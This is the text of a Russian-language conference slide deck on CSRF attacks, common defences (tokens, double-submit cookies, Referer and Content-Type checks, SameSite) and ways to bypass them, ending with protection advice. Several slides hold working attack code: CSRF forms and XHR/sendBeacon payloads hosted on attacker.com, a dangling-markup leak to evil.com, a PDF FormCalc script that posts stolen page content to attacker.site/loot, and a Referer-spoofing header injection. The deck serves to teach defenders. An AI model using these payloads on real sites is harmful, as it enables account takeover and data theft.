  • 5. 🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 Небольшой фрагмент данных, отправленный веб-сервером и хранимый на компьютере пользователя, браузер всякий раз пересылает этот фрагмент данных веб-серверу в составе HTTP- запроса Сервер Клиент Set-Cookie: name=value; expires=date; path=/; domain=.example.org; secure; httponly; Cookie: name=newvalue;
  • 6. 🍪 Cookies 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 🍪 До сих пор используются многими веб-приложениями для управления сессией пользователя Впервые сookies появились в браузере Netscape в 1994 году
  • 7. Классическая CSRF-атака POST /user/address/shipping HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 43 city=Moscow&street=Prospekt+Mira&zip=12345
  • 8. Классическая CSRF-атака <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://example.com/user/address/shipping" method="POST"> <input type="hidden" name="city" value="Moscow" /> <input type="hidden" name="street" value="Prospekt&#32;Mira" /> <input type="hidden" name="zip" value="12345" /> <input type="submit" value="Submit request" /> </form> </body> </html> https://attacker.com/csrf-form.html
  • 9. Классическая CSRF-атака <script> var request = new XMLHttpRequest(); var data = 'city=Moscow&street=Prosperkt+Mira&zip=12345'; request.open('POST', 'https://example.com/user/address/shipping', true); request.withCredentials = true; // INCLUDE COOKIES request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); request.send(data); </script> https://attacker.com/csrf-xhr.html
  • 13. История CSRF-атак Эксплуатируются с 2001 года Публичные CSRF-уязвимости в популярных проектах 2008-2012: 1. YouTube 2. The New York Times 3. Badoo 4. Slideshare 5. Vimeo 6. Hulu 7. КиноПоиск 8. …
  • 14. Насколько серьезны CSRF-уязвимости Зависит от критичности уязвимого action’a  …  Account takeover (смена email)  Privilege Escalation (создание нового пользователя с высокими правами)  Remote code execution (эксплуатация command injection в админке)
  • 15. Насколько серьезны CSRF-уязвимости OWASP Top 10 - https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project не вошла в Top 10 – 2017 (RC2) A8 – 2017 (RC1) A8 – 2013 А5 – 2010
  • 16. Насколько серьезны CSRF-уязвимости Bugcrowd VRT - https://bugcrowd.com/vulnerability-rating-taxonomy * VRT – Vulnerability Rating Taxonomy Application-wide CSRF – P2 (High)
  • 17. Популярные варианты защиты от CSRF  CSRF token  Double submit cookie  Content-Type based protection  Referer-based protection  Password confirmation (websudo)  SameSite Cookies (Chrome, Opera) You shall not pass!!! You shall not PASS!!!
  • 18. Популярные варианты защиты от CSRF  CSRF token (1 из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии  Токен вставляется в DOM или доступен через API  Пользователь должен отправить токен в параметре или хэдере запроса  Атакующий не знает токен → классическая CSRF-атака не работает
  • 19. Популярные варианты защиты от CSRF  Double submit cookie (2 из 6)  Уникальный и высокоэнтропийный токен для каждой пользовательской сессии помещается в cookies  Пользователь должен отправить одинаковые значения в cookies и в параметре запроса  Атакующий не может изменить cookies → классическая CSRF- атака не работает
  • 20. Популярные варианты защиты от CSRF  Content-Type based protection (3 из 6)  Пользователь должен отправить запрос с определенным заголовком Content-Type, например application/json  Браузер через форму или XHR не может отправить произвольный Content-Type cross-origin → классическая CSRF- атака не работает
  • 21. Популярные варианты защиты от CSRF  Referer-based protection (4 из 6)  Пользователь должен отправить запрос с определенным заголовком Referer  Браузер не может отправить произвольный Referer через форму или XHR → классическая CSRF-атака не работает
  • 22. Популярные варианты защиты от CSRF  Password confirmation / websudo (5 из 6)  Действие либо доступ к критичному функционалу подтверждается вводом пароля (секрета)  Атакующий не знает пароля → классическая CSRF-атака не работает
  • 23. Популярные варианты защиты от CSRF  SameSite Cookies в Chrome, Opera (6 из 6)  Дополнительный атрибут у cookies – samesite (значения lax и strict)  Браузер не отправляет cookies, если запрос осуществляется с сайта атакующего → классическая CSRF-атака не работает
  • 25. «Магия» обхода CSRF-защиты  XSS  Dangling markup  Vulnerable subdomains  Cookie injection  Change Content-Type  Non-simple Content-Type  Bad PDF  Referer spoof А ты думал, я с тобой шутки шучу
  • 26. Сценарий обхода – XSS (1 из 8) XSS (Cross-Site Scripting) в приложении позволяет обойти большинство типов CSRF-защиты! Просто смирись c этим!!!
  • 27. Когда есть HTML injection, но нет XSS (например, есть Content Security Policy - CSP) Атакующий может заполучить CSRF-токен через Dangling markup injection Сценарий обхода – Dangling markup (2 из 8) <img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
  • 28. Сценарий обхода – уязвимый субдомен (3 из 8) Один из поддоменов foo.example.com уязвим к subdomain takeover или XSS Атакующий сможет обойти следующие типы CSRF-защиты:  CSRF tokens  Double submit cookie  Content-Type based protection
  • 29. Приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия Атакующий сможет прочитать CSRF-токен Access-Control-Allow-Origin: https://foo.example.com Access-Control-Allow-Credentials: true Сценарий обхода – уязвимый субдомен (3 из 8)
  • 30. На основном домене есть crossdomain.xml который разрешает взаимодействие для субдоменов Атакующий может загрузить файл с JS на foo.example.com Пример - https://ahussam.me/Amazon-leaking-csrf-token-using-service-worker/ <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy> Сценарий обхода – уязвимый субдомен (3 из 8)
  • 31. Атакующий может использовать Service Worker для субдомена foo.example.com Через SWF атакующий сможет прочитать CSRF-токен! var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); } Сценарий обхода – уязвимый субдомен (3 из 8)
  • 32. Атакующий сможет установить cookie для родительского домена на интересующий path Браузер выберет cookie с самым длинным path Тем самым атакующий сможет обойти защиту Double submit cookie Сценарий обхода – уязвимый субдомен (3 из 8)
  • 33. Сценарий обхода – bad PDF (4 из 8) PDF plugin от Adobe поддерживает FormCalc PDF plugin от Adobe работает в IE11 и Firefox ESR В FormCalc есть методы get() и post() Атакующий получает CSRF-токен жертвы
  • 34. Сценарий обхода – bad PDF (4 из 8) Допустим, у нас есть возможность загрузить PDF в веб- приложение (можно загрузить PDF как файл другого формата – картинкy ) У приложения есть API на интересующем домене, которое позволяет получать содержимое загруженного PDF
  • 35. Сценарий обхода – bad PDF (4 из 8) <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'> https://attacker.com/csrf-badpdf.html
  • 36. Сценарий обхода – bad PDF (4 из 8) <script contentType='application/x-formcalc'> var content = GET("https://example.com/Settings.action"); Post("http://attacker.site/loot",content,"text/plain"); </script> leak.pdf
  • 37. Сценарий обхода – bad PDF (4 из 8) Фокус в том, что для PDF plugin не важен Content-Type и другие заголовки (например, Content-Disposition)!
  • 38. Сценарий обхода – cookie injection (5 из 8) Атакующий в результате сookie injection сможет обойти защиту Double submit cookie Варианты cookie injection  CRLF injection  Особенности обработки cookie браузером – comma-separated cookies (Safari)  Баги браузера (например, CVE-2016-9078 в FF)
  • 39. Сценарий обхода – change Content-Type (6 из 8) Некоторые считают, что нестандартный формат данных в теле POST-запроса спасает от CSRF !? SRSLY?
  • 40. POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 �addNote � � r � Сценарий обхода – change Content-Type (6 из 8)
  • 41. <script> var request = new XMLHttpRequest(); request.open('POST', 'https://example.com/add/note', true); request.withCredentials = true; request.setRequestHeader("Content-type", "text/plain"); var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55', '0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00']; var bin = new Uint8Array(data.length); for (var i = 0; i < data.length; i++) { bin[i] = parseInt(data[i], 16); } request.send(bin); </script> https://attacker.com/csrf-thrift.html Сценарий обхода – change Content-Type (6 из 8)
  • 42. Сценарий обхода – non-simple Content-Type (7 из 8) Валидные значения content type, которые можно отправить из HTML-формы и через XHR без OPTIONS preflight - aka simple content types  text/plain  application/x-www-form-urlencoded  multipart/form-data
  • 43. Как отправить произвольный Content-Type:  Баги в браузерах (например, Navigator.sendBeacon)  Flash plugin + 307 redirect  PDF plugin + 307 redirect  Некоторые фреймворки поддерживают URL- параметры для переопределения Content-Type http://cxf.apache.org/docs/jax-rs.html#JAX-RS-Debugging Сценарий обхода – non-simple Content-Type (7 из 8)
  • 44. Баг в Chrome - https://bugs.chromium.org/p/chromium/issues/detail?id=490015 Можно было эксплуатировать с 2015 по 07.2017    Navigator.sendBeacon() позволял отправить POST-запрос с любым Content-Type на другой origin Сценарий обхода – non-simple Content-Type (7 из 8)
  • 45. <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> https://attacker.com/csrf-sendbeacon.html Сценарий обхода – non-simple Content-Type (7 из 8)
  • 46. Как это работает - http://research.rootme.in/forging-content-type-header-with-flash/ Сценарий обхода – non-simple Content-Type (7 из 8)
  • 47. Сценарий обхода – spoof Referer (8 из 8) Баг в Edge - https://www.brokenbrowser.com/referer-spoofing-patch-bypass/ Еще работает  Ho работает только для GET-запросов 
  • 48. Сценарий обхода – spoof Referer (8 из 8) <script contentType='application/x-formcalc'> Post("http://attacker.com:8888/redirect", "{""action"":""add-user-email"",""Email"":""attacker@evil.com""}", "application/json&#x0a;&#x0d;Referer;&#x20;http://example.com") </script>
  • 49. Сценарий обхода – spoof Referer (8 из 8) В бэкенд будет отправлен header Некоторые серверы воспринимают пробел как конец имени HTTP-заголовка (например, WildFly или Jboss) – т.е. двоеточие `:` Referer http://example.com Имя :Значение Referer http://example.com Имя :Значение
  • 50. Обход CSRF-защиты – Итог CSRF Tokens Double Submit Cookie CT-based Referer-based SameSite Cookies XSS All All All All All Dangling markup All - - - All* Subdomain issues All All All - All* Cookie Injection - All - - All* Change CT - - All - All* Non-simple CT - - All with Flash plugin, IE11/FF ESR with Pdf plugin - All* Bad Pdf IE11/FF ESR with Pdf plugin - IE11/FF ESR with Pdf plugin - All* Spoof Referer - - - IE11/FF ESR with Pdf plugin, Edge All* All – works for all browsers All* – All browsers except browsers that support SameSite Cookies (Chrome & Opera)
  • 51. Как все-таки правильно защититься от CSRF Не использовать cookies для управления пользовательской сессией
  • 52. Как все-таки правильно защититься от CSRF … eсли не можете отказаться от cookies  Моделируйте угрозы и проверяйте реализацию (см. Итоговую таблицу)  Имплементируйте SameSite Cookies  Комбинируйте различные CSRF-защиты – defense in depth  Спрашивайте у пользователя пароль для выполнения критичных action’ов  Отдавайте загружаемые файлы с отдельного домена
  • 53. Q&A